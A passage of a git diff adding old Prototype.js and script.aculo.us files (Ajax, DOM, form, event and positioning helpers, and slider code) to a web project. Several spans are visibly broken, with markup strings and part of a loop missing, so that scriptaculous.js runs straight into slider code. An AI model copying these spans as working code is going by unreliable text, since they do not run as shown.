{ + if (iterable.toArray) { + return iterable.toArray(); + } else { + var results = []; + for (var i = 0; i < iterable.length; i++) + results.push(iterable[i]); + return results; + } +} + +Object.extend(Array.prototype, Enumerable); + +Object.extend(Array.prototype, { + _each: function(iterator) { + for (var i = 0; i < this.length; i++) + iterator(this[i]); + }, + + first: function() { + return this[0]; + }, + + last: function() { + return this[this.length - 1]; + }, + + compact: function() { + return this.select(function(value) { + return value != undefined || value != null; + }); + }, + + flatten: function() { + return this.inject([], function(array, value) { + return array.concat(value.constructor == Array ? + value.flatten() : [value]); + }); + }, + + without: function() { + var values = $A(arguments); + return this.select(function(value) { + return !values.include(value); + }); + }, + + indexOf: function(object) { + for (var i = 0; i < this.length; i++) + if (this[i] == object) return i; + return false; + }, + + reverse: function() { + var result = []; + for (var i = this.length; i > 0; i--) + result.push(this[i-1]); + return result; + }, + + inspect: function() { + return '[' + this.map(Object.inspect).join(', ') + ']'; + } +}); +var Hash = { + _each: function(iterator) { + for (key in this) { + var value = this[key]; + if (typeof value == 'function') continue; + + var pair = [key, value]; + pair.key = key; + pair.value = value; + iterator(pair); + } + }, + + keys: function() { + return this.pluck('key'); + }, + + values: function() { + return this.pluck('value'); + }, + + merge: function(hash) { + return $H(hash).inject($H(this), function(mergedHash, pair) { + mergedHash[pair.key] = pair.value; + return mergedHash; + }); + }, + + toQueryString: function() { + return this.map(function(pair) { + return pair.map(encodeURIComponent).join('='); + }).join('&'); + }, + + inspect: function() { + return '#'; + } +} + +function $H(object) { + var hash = Object.extend({}, object || {}); + Object.extend(hash, Enumerable); + Object.extend(hash, Hash); + return hash; +} +var Range = Class.create(); +Object.extend(Range.prototype, Enumerable); +Object.extend(Range.prototype, { + initialize: function(start, end, exclusive) { + this.start = start; + this.end = end; + this.exclusive = exclusive; + }, + + _each: function(iterator) { + var value = this.start; + do { + iterator(value); + value = value.succ(); + } while (this.include(value)); + }, + + include: function(value) { + if (value < this.start) + return false; + if (this.exclusive) + return value < this.end; + return value <= this.end; + } +}); + +var $R = function(start, end, exclusive) { + return new Range(start, end, exclusive); +} + +var Ajax = { + getTransport: function() { + return Try.these( + function() {return new ActiveXObject('Msxml2.XMLHTTP')}, + function() {return new ActiveXObject('Microsoft.XMLHTTP')}, + function() {return new XMLHttpRequest()} + ) || false; + }, + + activeRequestCount: 0 +} + +Ajax.Responders = { + responders: [], + + _each: function(iterator) { + this.responders._each(iterator); + }, + + register: function(responderToAdd) { + if (!this.include(responderToAdd)) + this.responders.push(responderToAdd); + }, + + unregister: function(responderToRemove) { + this.responders = this.responders.without(responderToRemove); + }, + + dispatch: function(callback, request, transport, json) { + this.each(function(responder) { + if (responder[callback] && typeof responder[callback] == 'function') { + try { + responder[callback].apply(responder, [request, transport, json]); + } catch (e) { + } + } + }); + } +}; + +Object.extend(Ajax.Responders, Enumerable); + +Ajax.Responders.register({ + onCreate: function() { + Ajax.activeRequestCount++; + }, + + onComplete: function() { + Ajax.activeRequestCount--; + } +}); + +Ajax.Base = function() {}; +Ajax.Base.prototype = { + setOptions: function(options) { + this.options = { + method: 'post', + asynchronous: true, + parameters: '' + } + Object.extend(this.options, options || {}); + }, + + responseIsSuccess: function() { + return this.transport.status == undefined + || this.transport.status == 0 + || (this.transport.status >= 200 && this.transport.status < 300); + }, + + responseIsFailure: function() { + return !this.responseIsSuccess(); + } +} + +Ajax.Request = Class.create(); +Ajax.Request.Events = + ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete']; + +Ajax.Request.prototype = Object.extend(new Ajax.Base(), { + initialize: function(url, options) { + this.transport = Ajax.getTransport(); + this.setOptions(options); + this.request(url); + }, + + request: function(url) { + var parameters = this.options.parameters || ''; + if (parameters.length > 0) parameters += '&_='; + + try { + this.url = url; + if (this.options.method == 'get') + this.url += '?' + parameters; + + Ajax.Responders.dispatch('onCreate', this, this.transport); + + this.transport.open(this.options.method, this.url, + this.options.asynchronous); + + if (this.options.asynchronous) { + this.transport.onreadystatechange = this.onStateChange.bind(this); + setTimeout((function() {this.respondToReadyState(1)}).bind(this), 10); + } + + this.setRequestHeaders(); + + var body = this.options.postBody ? this.options.postBody : parameters; + this.transport.send(this.options.method == 'post' ? body : null); + + } catch (e) { + } + }, + + setRequestHeaders: function() { + var requestHeaders = + ['X-Requested-With', 'XMLHttpRequest', + 'X-Prototype-Version', Prototype.Version]; + + if (this.options.method == 'post') { + requestHeaders.push('Content-type', + 'application/x-www-form-urlencoded'); + + /* Force "Connection: close" for Mozilla browsers to work around + * a bug where XMLHttpReqeuest sends an incorrect Content-length + * header. See Mozilla Bugzilla #246651. + */ + if (this.transport.overrideMimeType) + requestHeaders.push('Connection', 'close'); + } + + if (this.options.requestHeaders) + requestHeaders.push.apply(requestHeaders, this.options.requestHeaders); + + for (var i = 0; i < requestHeaders.length; i += 2) + this.transport.setRequestHeader(requestHeaders[i], requestHeaders[i+1]); + }, + + onStateChange: function() { + var readyState = this.transport.readyState; + if (readyState != 1) + this.respondToReadyState(this.transport.readyState); + }, + + evalJSON: function() { + try { + var json = this.transport.getResponseHeader('X-JSON'), object; + object = eval(json); + return object; + } catch (e) { + } + }, + + respondToReadyState: function(readyState) { + var event = Ajax.Request.Events[readyState]; + var transport = this.transport, json = this.evalJSON(); + + if (event == 'Complete') + (this.options['on' + this.transport.status] + || this.options['on' + (this.responseIsSuccess() ? 'Success' : 'Failure')] + || Prototype.emptyFunction)(transport, json); + + (this.options['on' + event] || Prototype.emptyFunction)(transport, json); + Ajax.Responders.dispatch('on' + event, this, transport, json); + + /* Avoid memory leak in MSIE: clean up the oncomplete event handler */ + if (event == 'Complete') + this.transport.onreadystatechange = Prototype.emptyFunction; + } +}); + +Ajax.Updater = Class.create(); +Ajax.Updater.ScriptFragment = '(?:)((\n|.)*?)(?:<\/script>)'; + +Object.extend(Object.extend(Ajax.Updater.prototype, Ajax.Request.prototype), { + initialize: function(container, url, options) { + this.containers = { + success: container.success ? $(container.success) : $(container), + failure: container.failure ? $(container.failure) : + (container.success ? null : $(container)) + } + + this.transport = Ajax.getTransport(); + this.setOptions(options); + + var onComplete = this.options.onComplete || Prototype.emptyFunction; + this.options.onComplete = (function(transport, object) { + this.updateContent(); + onComplete(transport, object); + }).bind(this); + + this.request(url); + }, + + updateContent: function() { + var receiver = this.responseIsSuccess() ? + this.containers.success : this.containers.failure; + + var match = new RegExp(Ajax.Updater.ScriptFragment, 'img'); + var response = this.transport.responseText.replace(match, ''); + var scripts = this.transport.responseText.match(match); + + if (receiver) { + if (this.options.insertion) { + new this.options.insertion(receiver, response); + } else { + receiver.innerHTML = response; + } + } + + if (this.responseIsSuccess()) { + if (this.onComplete) + setTimeout(this.onComplete.bind(this), 10); + } + + if (this.options.evalScripts && scripts) { + match = new RegExp(Ajax.Updater.ScriptFragment, 'im'); + setTimeout((function() { + for (var i = 0; i < scripts.length; i++) + eval(scripts[i].match(match)[1]); + }).bind(this), 10); + } + } +}); + +Ajax.PeriodicalUpdater = Class.create(); +Ajax.PeriodicalUpdater.prototype = Object.extend(new Ajax.Base(), { + initialize: function(container, url, options) { + this.setOptions(options); + this.onComplete = this.options.onComplete; + + this.frequency = (this.options.frequency || 2); + this.decay = (this.options.decay || 1); + + this.updater = {}; + this.container = container; + this.url = url; + + this.start(); + }, + + start: function() { + this.options.onComplete = this.updateComplete.bind(this); + this.onTimerEvent(); + }, + + stop: function() { + this.updater.onComplete = undefined; + clearTimeout(this.timer); + (this.onComplete || Prototype.emptyFunction).apply(this, arguments); + }, + + updateComplete: function(request) { + if (this.options.decay) { + this.decay = (request.responseText == this.lastText ? + this.decay * this.options.decay : 1); + + this.lastText = request.responseText; + } + this.timer = setTimeout(this.onTimerEvent.bind(this), + this.decay * this.frequency * 1000); + }, + + onTimerEvent: function() { + this.updater = new Ajax.Updater(this.container, this.url, this.options); + } +}); +document.getElementsByClassName = function(className, parentElement) { + var children = (document.body || $(parentElement)).getElementsByTagName('*'); + return $A(children).inject([], function(elements, child) { + if (Element.hasClassName(child, className)) + elements.push(child); + return elements; + }); +} + +/*--------------------------------------------------------------------------*/ + +if (!window.Element) { + var Element = new Object(); +} + +Object.extend(Element, { + visible: function(element) { + return $(element).style.display != 'none'; + }, + + toggle: function() { + for (var i = 0; i < arguments.length; i++) { + var element = $(arguments[i]); + Element[Element.visible(element) ? 'hide' : 'show'](element); + } + }, + + hide: function() { + for (var i = 0; i < arguments.length; i++) { + var element = $(arguments[i]); + element.style.display = 'none'; + } + }, + + show: function() { + for (var i = 0; i < arguments.length; i++) { + var element = $(arguments[i]); + element.style.display = ''; + } + }, + + remove: function(element) { + element = $(element); + element.parentNode.removeChild(element); + }, + + getHeight: function(element) { + element = $(element); + return element.offsetHeight; + }, + + classNames: function(element) { + return new Element.ClassNames(element); + }, + + hasClassName: function(element, className) { + if (!(element = $(element))) return; + return Element.classNames(element).include(className); + }, + + addClassName: function(element, className) { + if (!(element = $(element))) return; + return Element.classNames(element).add(className); + }, + + removeClassName: function(element, className) { + if (!(element = $(element))) return; + return Element.classNames(element).remove(className); + }, + + // removes whitespace-only text node children + cleanWhitespace: function(element) { + element = $(element); + for (var i = 0; i < element.childNodes.length; i++) { + var node = element.childNodes[i]; + if (node.nodeType == 3 && !/\S/.test(node.nodeValue)) + Element.remove(node); + } + }, + + empty: function(element) { + return $(element).innerHTML.match(/^\s*$/); + }, + + scrollTo: function(element) { + element = $(element); + var x = element.x ? element.x : element.offsetLeft, + y = element.y ? element.y : element.offsetTop; + window.scrollTo(x, y); + }, + + getStyle: function(element, style) { + element = $(element); + var value = element.style[style.camelize()]; + if (!value) { + if (document.defaultView && document.defaultView.getComputedStyle) { + var css = document.defaultView.getComputedStyle(element, null); + value = css ? css.getPropertyValue(style) : null; + } else if (element.currentStyle) { + value = element.currentStyle[style.camelize()]; + } + } + + if (window.opera && ['left', 'top', 'right', 'bottom'].include(style)) + if (Element.getStyle(element, 'position') == 'static') value = 'auto'; + + return value == 'auto' ? null : value; + }, + + getDimensions: function(element) { + element = $(element); + if (Element.getStyle(element, 'display') != 'none') + return {width: element.offsetWidth, height: element.offsetHeight}; + + // All *Width and *Height properties give 0 on elements with display none, + // so enable the element temporarily + var els = element.style; + var originalVisibility = els.visibility; + var originalPosition = els.position; + els.visibility = 'hidden'; + els.position = 'absolute'; + els.display = ''; + var originalWidth = element.clientWidth; + var originalHeight = element.clientHeight; + els.display = 'none'; + els.position = originalPosition; + els.visibility = originalVisibility; + return {width: originalWidth, height: originalHeight}; + }, + + makePositioned: function(element) { + element = $(element); + var pos = Element.getStyle(element, 'position'); + if (pos == 'static' || !pos) { + element._madePositioned = true; + element.style.position = 'relative'; + // Opera returns the offset relative to the positioning context, when an + // element is position relative but top and left have not been defined + if (window.opera) { + element.style.top = 0; + element.style.left = 0; + } + } + }, + + undoPositioned: function(element) { + element = $(element); + if (element._madePositioned) { + element._madePositioned = undefined; + element.style.position = + element.style.top = + element.style.left = + element.style.bottom = + element.style.right = ''; + } + }, + + makeClipping: function(element) { + element = $(element); + if (element._overflow) return; + element._overflow = element.style.overflow; + if ((Element.getStyle(element, 'overflow') || 'visible') != 'hidden') + element.style.overflow = 'hidden'; + }, + + undoClipping: function(element) { + element = $(element); + if (element._overflow) return; + element.style.overflow = element._overflow; + element._overflow = undefined; + } +}); + +var Toggle = new Object(); +Toggle.display = Element.toggle; + +/*--------------------------------------------------------------------------*/ + +Abstract.Insertion = function(adjacency) { + this.adjacency = adjacency; +} + +Abstract.Insertion.prototype = { + initialize: function(element, content) { + this.element = $(element); + this.content = content; + + if (this.adjacency && this.element.insertAdjacentHTML) { + try { + this.element.insertAdjacentHTML(this.adjacency, this.content); + } catch (e) { + if (this.element.tagName.toLowerCase() == 'tbody') { + this.insertContent(this.contentFromAnonymousTable()); + } else { + throw e; + } + } + } else { + this.range = this.element.ownerDocument.createRange(); + if (this.initializeRange) this.initializeRange(); + this.insertContent([this.range.createContextualFragment(this.content)]); + } + }, + + contentFromAnonymousTable: function() { + var div = document.createElement('div'); + div.innerHTML = '' + this.content + '
    '; + return $A(div.childNodes[0].childNodes[0].childNodes); + } +} + +var Insertion = new Object(); + +Insertion.Before = Class.create(); +Insertion.Before.prototype = Object.extend(new Abstract.Insertion('beforeBegin'), { + initializeRange: function() { + this.range.setStartBefore(this.element); + }, + + insertContent: function(fragments) { + fragments.each((function(fragment) { + this.element.parentNode.insertBefore(fragment, this.element); + }).bind(this)); + } +}); + +Insertion.Top = Class.create(); +Insertion.Top.prototype = Object.extend(new Abstract.Insertion('afterBegin'), { + initializeRange: function() { + this.range.selectNodeContents(this.element); + this.range.collapse(true); + }, + + insertContent: function(fragments) { + fragments.reverse().each((function(fragment) { + this.element.insertBefore(fragment, this.element.firstChild); + }).bind(this)); + } +}); + +Insertion.Bottom = Class.create(); +Insertion.Bottom.prototype = Object.extend(new Abstract.Insertion('beforeEnd'), { + initializeRange: function() { + this.range.selectNodeContents(this.element); + this.range.collapse(this.element); + }, + + insertContent: function(fragments) { + fragments.each((function(fragment) { + this.element.appendChild(fragment); + }).bind(this)); + } +}); + +Insertion.After = Class.create(); +Insertion.After.prototype = Object.extend(new Abstract.Insertion('afterEnd'), { + initializeRange: function() { + this.range.setStartAfter(this.element); + }, + + insertContent: function(fragments) { + fragments.each((function(fragment) { + this.element.parentNode.insertBefore(fragment, + this.element.nextSibling); + }).bind(this)); + } +}); + +/*--------------------------------------------------------------------------*/ + +Element.ClassNames = Class.create(); +Element.ClassNames.prototype = { + initialize: function(element) { + this.element = $(element); + }, + + _each: function(iterator) { + this.element.className.split(/\s+/).select(function(name) { + return name.length > 0; + })._each(iterator); + }, + + set: function(className) { + this.element.className = className; + }, + + add: function(classNameToAdd) { + if (this.include(classNameToAdd)) return; + this.set(this.toArray().concat(classNameToAdd).join(' ')); + }, + + remove: function(classNameToRemove) { + if (!this.include(classNameToRemove)) return; + this.set(this.select(function(className) { + return className != classNameToRemove; + })); + }, + + toString: function() { + return this.toArray().join(' '); + } +} + +Object.extend(Element.ClassNames.prototype, Enumerable); +var Field = { + clear: function() { + for (var i = 0; i < arguments.length; i++) + $(arguments[i]).value = ''; + }, + + focus: function(element) { + $(element).focus(); + }, + + present: function() { + for (var i = 0; i < arguments.length; i++) + if ($(arguments[i]).value == '') return false; + return true; + }, + + select: function(element) { + $(element).select(); + }, + + activate: function(element) { + $(element).focus(); + $(element).select(); + } +} + +/*--------------------------------------------------------------------------*/ + +var Form = { + serialize: function(form) { + var elements = Form.getElements($(form)); + var queryComponents = new Array(); + + for (var i = 0; i < elements.length; i++) { + var queryComponent = Form.Element.serialize(elements[i]); + if (queryComponent) + queryComponents.push(queryComponent); + } + + return queryComponents.join('&'); + }, + + getElements: function(form) { + var form = $(form); + var elements = new Array(); + + for (tagName in Form.Element.Serializers) { + var tagElements = form.getElementsByTagName(tagName); + for (var j = 0; j < tagElements.length; j++) + elements.push(tagElements[j]); + } + return elements; + }, + + getInputs: function(form, typeName, name) { + var form = $(form); + var inputs = form.getElementsByTagName('input'); + + if (!typeName && !name) + return inputs; + + var matchingInputs = new Array(); + for (var i = 0; i < inputs.length; i++) { + var input = inputs[i]; + if ((typeName && input.type != typeName) || + (name && input.name != name)) + continue; + matchingInputs.push(input); + } + + return matchingInputs; + }, + + disable: function(form) { + var elements = Form.getElements(form); + for (var i = 0; i < elements.length; i++) { + var element = elements[i]; + element.blur(); + element.disabled = 'true'; + } + }, + + enable: function(form) { + var elements = Form.getElements(form); + for (var i = 0; i < elements.length; i++) { + var element = elements[i]; + element.disabled = ''; + } + }, + + focusFirstElement: function(form) { + var form = $(form); + var elements = Form.getElements(form); + for (var i = 0; i < elements.length; i++) { + var element = elements[i]; + if (element.type != 'hidden' && !element.disabled) { + Field.activate(element); + break; + } + } + }, + + reset: function(form) { + $(form).reset(); + } +} + +Form.Element = { + serialize: function(element) { + var element = $(element); + var method = element.tagName.toLowerCase(); + var parameter = Form.Element.Serializers[method](element); + + if (parameter) + return encodeURIComponent(parameter[0]) + '=' + + encodeURIComponent(parameter[1]); + }, + + getValue: function(element) { + var element = $(element); + var method = element.tagName.toLowerCase(); + var parameter = Form.Element.Serializers[method](element); + + if (parameter) + return parameter[1]; + } +} + +Form.Element.Serializers = { + input: function(element) { + switch (element.type.toLowerCase()) { + case 'submit': + case 'hidden': + case 'password': + case 'text': + return Form.Element.Serializers.textarea(element); + case 'checkbox': + case 'radio': + return Form.Element.Serializers.inputSelector(element); + } + return false; + }, + + inputSelector: function(element) { + if (element.checked) + return [element.name, element.value]; + }, + + textarea: function(element) { + return [element.name, element.value]; + }, + + select: function(element) { + return Form.Element.Serializers[element.type == 'select-one' ? + 'selectOne' : 'selectMany'](element); + }, + + selectOne: function(element) { + var value = '', opt, index = element.selectedIndex; + if (index >= 0) { + opt = element.options[index]; + value = opt.value; + if (!value && !('value' in opt)) + value = opt.text; + } + return [element.name, value]; + }, + + selectMany: function(element) { + var value = new Array(); + for (var i = 0; i < element.length; i++) { + var opt = element.options[i]; + if (opt.selected) { + var optValue = opt.value; + if (!optValue && !('value' in opt)) + optValue = opt.text; + value.push(optValue); + } + } + return [element.name, value]; + } +} + +/*--------------------------------------------------------------------------*/ + +var $F = Form.Element.getValue; + +/*--------------------------------------------------------------------------*/ + +Abstract.TimedObserver = function() {} +Abstract.TimedObserver.prototype = { + initialize: function(element, frequency, callback) { + this.frequency = frequency; + this.element = $(element); + this.callback = callback; + + this.lastValue = this.getValue(); + this.registerCallback(); + }, + + registerCallback: function() { + setInterval(this.onTimerEvent.bind(this), this.frequency * 1000); + }, + + onTimerEvent: function() { + var value = this.getValue(); + if (this.lastValue != value) { + this.callback(this.element, value); + this.lastValue = value; + } + } +} + +Form.Element.Observer = Class.create(); +Form.Element.Observer.prototype = Object.extend(new Abstract.TimedObserver(), { + getValue: function() { + return Form.Element.getValue(this.element); + } +}); + +Form.Observer = Class.create(); +Form.Observer.prototype = Object.extend(new Abstract.TimedObserver(), { + getValue: function() { + return Form.serialize(this.element); + } +}); + +/*--------------------------------------------------------------------------*/ + +Abstract.EventObserver = function() {} +Abstract.EventObserver.prototype = { + initialize: function(element, callback) { + this.element = $(element); + this.callback = callback; + + this.lastValue = this.getValue(); + if (this.element.tagName.toLowerCase() == 'form') + this.registerFormCallbacks(); + else + this.registerCallback(this.element); + }, + + onElementEvent: function() { + var value = this.getValue(); + if (this.lastValue != value) { + this.callback(this.element, value); + this.lastValue = value; + } + }, + + registerFormCallbacks: function() { + var elements = Form.getElements(this.element); + for (var i = 0; i < elements.length; i++) + this.registerCallback(elements[i]); + }, + + registerCallback: function(element) { + if (element.type) { + switch (element.type.toLowerCase()) { + case 'checkbox': + case 'radio': + element.target = this; + element.prev_onclick = element.onclick || Prototype.emptyFunction; + element.onclick = function() { + this.prev_onclick(); + this.target.onElementEvent(); + } + break; + case 'password': + case 'text': + case 'textarea': + case 'select-one': + case 'select-multiple': + element.target = this; + element.prev_onchange = element.onchange || Prototype.emptyFunction; + element.onchange = function() { + this.prev_onchange(); + this.target.onElementEvent(); + } + break; + } + } + } +} + +Form.Element.EventObserver = Class.create(); +Form.Element.EventObserver.prototype = Object.extend(new Abstract.EventObserver(), { + getValue: function() { + return Form.Element.getValue(this.element); + } +}); + +Form.EventObserver = Class.create(); +Form.EventObserver.prototype = Object.extend(new Abstract.EventObserver(), { + getValue: function() { + return Form.serialize(this.element); + } +}); +if (!window.Event) { + var Event = new Object(); +} + +Object.extend(Event, { + KEY_BACKSPACE: 8, + KEY_TAB: 9, + KEY_RETURN: 13, + KEY_ESC: 27, + KEY_LEFT: 37, + KEY_UP: 38, + KEY_RIGHT: 39, + KEY_DOWN: 40, + KEY_DELETE: 46, + + element: function(event) { + return event.target || event.srcElement; + }, + + isLeftClick: function(event) { + return (((event.which) && (event.which == 1)) || + ((event.button) && (event.button == 1))); + }, + + pointerX: function(event) { + return event.pageX || (event.clientX + + (document.documentElement.scrollLeft || document.body.scrollLeft)); + }, + + pointerY: function(event) { + return event.pageY || (event.clientY + + (document.documentElement.scrollTop || document.body.scrollTop)); + }, + + stop: function(event) { + if (event.preventDefault) { + event.preventDefault(); + event.stopPropagation(); + } else { + event.returnValue = false; + event.cancelBubble = true; + } + }, + + // find the first node with the given tagName, starting from the + // node the event was triggered on; traverses the DOM upwards + findElement: function(event, tagName) { + var element = Event.element(event); + while (element.parentNode && (!element.tagName || + (element.tagName.toUpperCase() != tagName.toUpperCase()))) + element = element.parentNode; + return element; + }, + + observers: false, + + _observeAndCache: function(element, name, observer, useCapture) { + if (!this.observers) this.observers = []; + if (element.addEventListener) { + this.observers.push([element, name, observer, useCapture]); + element.addEventListener(name, observer, useCapture); + } else if (element.attachEvent) { + this.observers.push([element, name, observer, useCapture]); + element.attachEvent('on' + name, observer); + } + }, + + unloadCache: function() { + if (!Event.observers) return; + for (var i = 0; i < Event.observers.length; i++) { + Event.stopObserving.apply(this, Event.observers[i]); + Event.observers[i][0] = null; + } + Event.observers = false; + }, + + observe: function(element, name, observer, useCapture) { + var element = $(element); + useCapture = useCapture || false; + + if (name == 'keypress' && + (navigator.appVersion.match(/Konqueror|Safari|KHTML/) + || element.attachEvent)) + name = 'keydown'; + + this._observeAndCache(element, name, observer, useCapture); + }, + + stopObserving: function(element, name, observer, useCapture) { + var element = $(element); + useCapture = useCapture || false; + + if (name == 'keypress' && + (navigator.appVersion.match(/Konqueror|Safari|KHTML/) + || element.detachEvent)) + name = 'keydown'; + + if (element.removeEventListener) { + element.removeEventListener(name, observer, useCapture); + } else if (element.detachEvent) { + element.detachEvent('on' + name, observer); + } + } +}); + +/* prevent memory leaks in IE */ +Event.observe(window, 'unload', Event.unloadCache, false); +var Position = { + // set to true if needed, warning: firefox performance problems + // NOT neeeded for page scrolling, only if draggable contained in + // scrollable elements + includeScrollOffsets: false, + + // must be called before calling withinIncludingScrolloffset, every time the + // page is scrolled + prepare: function() { + this.deltaX = window.pageXOffset + || document.documentElement.scrollLeft + || document.body.scrollLeft + || 0; + this.deltaY = window.pageYOffset + || document.documentElement.scrollTop + || document.body.scrollTop + || 0; + }, + + realOffset: function(element) { + var valueT = 0, valueL = 0; + do { + valueT += element.scrollTop || 0; + valueL += element.scrollLeft || 0; + element = element.parentNode; + } while (element); + return [valueL, valueT]; + }, + + cumulativeOffset: function(element) { + var valueT = 0, valueL = 0; + do { + valueT += element.offsetTop || 0; + valueL += element.offsetLeft || 0; + element = element.offsetParent; + } while (element); + return [valueL, valueT]; + }, + + positionedOffset: function(element) { + var valueT = 0, valueL = 0; + do { + valueT += element.offsetTop || 0; + valueL += element.offsetLeft || 0; + element = element.offsetParent; + if (element) { + p = Element.getStyle(element, 'position'); + if (p == 'relative' || p == 'absolute') break; + } + } while (element); + return [valueL, valueT]; + }, + + offsetParent: function(element) { + if (element.offsetParent) return element.offsetParent; + if (element == document.body) return element; + + while ((element = element.parentNode) && element != document.body) + if (Element.getStyle(element, 'position') != 'static') + return element; + + return document.body; + }, + + // caches x/y coordinate pair to use with overlap + within: function(element, x, y) { + if (this.includeScrollOffsets) + return this.withinIncludingScrolloffsets(element, x, y); + this.xcomp = x; + this.ycomp = y; + this.offset = this.cumulativeOffset(element); + + return (y >= this.offset[1] && + y < this.offset[1] + element.offsetHeight && + x >= this.offset[0] && + x < this.offset[0] + element.offsetWidth); + }, + + withinIncludingScrolloffsets: function(element, x, y) { + var offsetcache = this.realOffset(element); + + this.xcomp = x + offsetcache[0] - this.deltaX; + this.ycomp = y + offsetcache[1] - this.deltaY; + this.offset = this.cumulativeOffset(element); + + return (this.ycomp >= this.offset[1] && + this.ycomp < this.offset[1] + element.offsetHeight && + this.xcomp >= this.offset[0] && + this.xcomp < this.offset[0] + element.offsetWidth); + }, + + // within must be called directly before + overlap: function(mode, element) { + if (!mode) return 0; + if (mode == 'vertical') + return ((this.offset[1] + element.offsetHeight) - this.ycomp) / + element.offsetHeight; + if (mode == 'horizontal') + return ((this.offset[0] + element.offsetWidth) - this.xcomp) / + element.offsetWidth; + }, + + clone: function(source, target) { + source = $(source); + target = $(target); + target.style.position = 'absolute'; + var offsets = this.cumulativeOffset(source); + target.style.top = offsets[1] + 'px'; + target.style.left = offsets[0] + 'px'; + target.style.width = source.offsetWidth + 'px'; + target.style.height = source.offsetHeight + 'px'; + }, + + page: function(forElement) { + var valueT = 0, valueL = 0; + + var element = forElement; + do { + valueT += element.offsetTop || 0; + valueL += element.offsetLeft || 0; + + // Safari fix + if (element.offsetParent==document.body) + if (Element.getStyle(element,'position')=='absolute') break; + + } while (element = element.offsetParent); + + element = forElement; + do { + valueT -= element.scrollTop || 0; + valueL -= element.scrollLeft || 0; + } while (element = element.parentNode); + + return [valueL, valueT]; + }, + + clone: function(source, target) { + var options = Object.extend({ + setLeft: true, + setTop: true, + setWidth: true, + setHeight: true, + offsetTop: 0, + offsetLeft: 0 + }, arguments[2] || {}) + + // find page position of source + source = $(source); + var p = Position.page(source); + + // find coordinate system to use + target = $(target); + var delta = [0, 0]; + var parent = null; + // delta [0,0] will do fine with position: fixed elements, + // position:absolute needs offsetParent deltas + if (Element.getStyle(target,'position') == 'absolute') { + parent = Position.offsetParent(target); + delta = Position.page(parent); + } + + // correct by body offsets (fixes Safari) + if (parent == document.body) { + delta[0] -= document.body.offsetLeft; + delta[1] -= document.body.offsetTop; + } + + // set position + if(options.setLeft) target.style.left = (p[0] - delta[0] + options.offsetLeft) + 'px'; + if(options.setTop) target.style.top = (p[1] - delta[1] + options.offsetTop) + 'px'; + if(options.setWidth) target.style.width = source.offsetWidth + 'px'; + if(options.setHeight) target.style.height = source.offsetHeight + 'px'; + }, + + absolutize: function(element) { + element = $(element); + if (element.style.position == 'absolute') return; + Position.prepare(); + + var offsets = Position.positionedOffset(element); + var top = offsets[1]; + var left = offsets[0]; + var width = element.clientWidth; + var height = element.clientHeight; + + element._originalLeft = left - parseFloat(element.style.left || 0); + element._originalTop = top - parseFloat(element.style.top || 0); + element._originalWidth = element.style.width; + element._originalHeight = element.style.height; + + element.style.position = 'absolute'; + element.style.top = top + 'px';; + element.style.left = left + 'px';; + element.style.width = width + 'px';; + element.style.height = height + 'px';; + }, + + relativize: function(element) { + element = $(element); + if (element.style.position == 'relative') return; + Position.prepare(); + + element.style.position = 'relative'; + var top = parseFloat(element.style.top || 0) - (element._originalTop || 0); + var left = parseFloat(element.style.left || 0) - (element._originalLeft || 0); + + element.style.top = top + 'px'; + element.style.left = left + 'px'; + element.style.height = element._originalHeight; + element.style.width = element._originalWidth; + } +} + +// Safari returns margins on body which is incorrect if the child is absolutely +// positioned. For performance reasons, redefine Position.cumulativeOffset for +// KHTML/WebKit only. +if (/Konqueror|Safari|KHTML/.test(navigator.userAgent)) { + Position.cumulativeOffset = function(element) { + var valueT = 0, valueL = 0; + do { + valueT += element.offsetTop || 0; + valueL += element.offsetLeft || 0; + if (element.offsetParent == document.body) + if (Element.getStyle(element, 'position') == 'absolute') break; + + element = element.offsetParent; + } while (element); + + return [valueL, valueT]; + } +} \ No newline at end of file diff --git a/public/javascripts/scriptaculous.js b/public/javascripts/scriptaculous.js new file mode 100644 index 00000000..0941eafa --- /dev/null +++ b/public/javascripts/scriptaculous.js @@ -0,0 +1,47 @@ +// Copyright (c) 2005 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) +// +// Permission is hereby granted, free of charge, to any person obtaining +// a copy of this software and associated documentation files (the +// "Software"), to deal in the Software without restriction, including +// without limitation the rights to use, copy, modify, merge, publish, +// distribute, sublicense, and/or sell copies of the Software, and to +// permit persons to whom the Software is furnished to do so, subject to +// the following conditions: +// +// The above copyright notice and this permission notice shall be +// included in all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + +var Scriptaculous = { + Version: '1.5_rc3', + require: function(libraryName) { + // inserting via DOM fails in Safari 2.0, so brute force approach + document.write(''); + }, + load: function() { + if((typeof Prototype=='undefined') || + parseFloat(Prototype.Version.split(".")[0] + "." + + Prototype.Version.split(".")[1]) < 1.4) + throw("script.aculo.us requires the Prototype JavaScript framework >= 1.4.0"); + var scriptTags = document.getElementsByTagName("script"); + for(var i=0;i this.maximum) sliderValue = this.maximum; + if(sliderValue < this.minimum) sliderValue = this.minimum; + var offsetDiff = (sliderValue - (this.value||this.minimum)) * this.increment; + + if(this.isVertical()){ + this.setCurrentTop(offsetDiff + this.currentTop()); + } else { + this.setCurrentLeft(offsetDiff + this.currentLeft()); + } + this.value = sliderValue; + this.updateFinished(); + }, + minimumOffset: function(){ + return(this.isVertical() ? + this.trackTop() + this.alignY : + this.trackLeft() + this.alignX); + }, + maximumOffset: function(){ + return(this.isVertical() ? + this.trackTop() + this.alignY + (this.maximum - this.minimum) * this.increment : + this.trackLeft() + this.alignX + (this.maximum - this.minimum) * this.increment); + }, + isVertical: function(){ + return (this.axis == 'vertical'); + }, + startDrag: function(event) { + if(Event.isLeftClick(event)) { + if(!this.disabled){ + this.active = true; + var pointer = [Event.pointerX(event), Event.pointerY(event)]; + var offsets = Position.cumulativeOffset(this.handle); + this.offsetX = (pointer[0] - offsets[0]); + this.offsetY = (pointer[1] - offsets[1]); + 